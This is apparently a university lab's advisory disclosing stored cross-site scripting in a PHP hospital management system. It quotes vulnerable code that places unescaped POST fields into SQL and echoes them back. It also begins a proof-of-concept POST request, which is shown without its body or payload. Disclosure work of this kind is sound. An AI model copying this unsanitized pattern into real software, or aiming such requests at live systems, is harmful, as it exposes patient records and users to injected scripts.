UNIVERSITY OF
ILLINOIS CHICAGO

Systems and Internet Security Lab
UIC Computer Science

Systems and Internet Security Lab ▶ Projects ▶ CHESS ▶ Stored Cross Site Scripting Vulnerabilities in Hospital Management System Gurukul v4.0 #3

Stored Cross Site Scripting Vulnerabilities in Hospital Management System Gurukul v4.0 #3

Multiple **stored cross site scripting vulnerabilities** are present in [Hospital Management System Gurukul v4.0](#) [https://phpgurukul.com/hospital-management-system-in-php/]

The files **doctor/view-patient.php**, **admin/view-patient.php** and **view-medhistory.php** share a common piece of code where several **POST parameters** are directly used into the INSERT SQL query without any kind of escaping or sanitization.

```
    /* ... */

if(isset($_POST['submit']))
{
    $vid=$_GET['viewid'];
    $bp=$_POST['bp'];
    $bs=$_POST['bs'];
    $weight=$_POST['weight'];
    $temp=$_POST['temp'];
    $pres=$_POST['pres'];

    $query.=mysqli_query($con,"insert tblmedicalhistory(PatientID,BloodPressure,BloodSugar,Weight,Temperature,Medi
value('$vid','$bp','$bs','$weight','$temp','$pres')");

    /* ... */
```

In the same files, the data that was inserted by the above-mentioned query is retrieved from the database and added to the current page.

```
    /* ...*/

while ($row=mysqli_fetch_array($ret)) {

    echo $cnt;
    echo $row['BloodPressure'];
    echo $row['Weight'];
    echo $row['BloodSugar'];
    echo $row['Temperature'];
    echo $row['MedicalPres'];
    echo $row['CreationDate'];

    /* ... */
```

The vulnerable parameters through which the attack can be carried out are **bp**, **bs**, **weight**, **temp** and **pres** POST parameters.
The following is one of the possible exploitation using the **pres POST parameter**.

```
POST /hospitalmanagementsystemproject4/hospital/hms/doctor/view-patient.php?viewid=3 HTTP/1.1
Host: localhost
Content-Length: 94
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicati
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/hospitalmanagementsystemproject4/hospital/hms/doctor/view-patient.php?viewid=3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=lrqh66ialqjgfot5rcq90bnvjj
Connection: close
```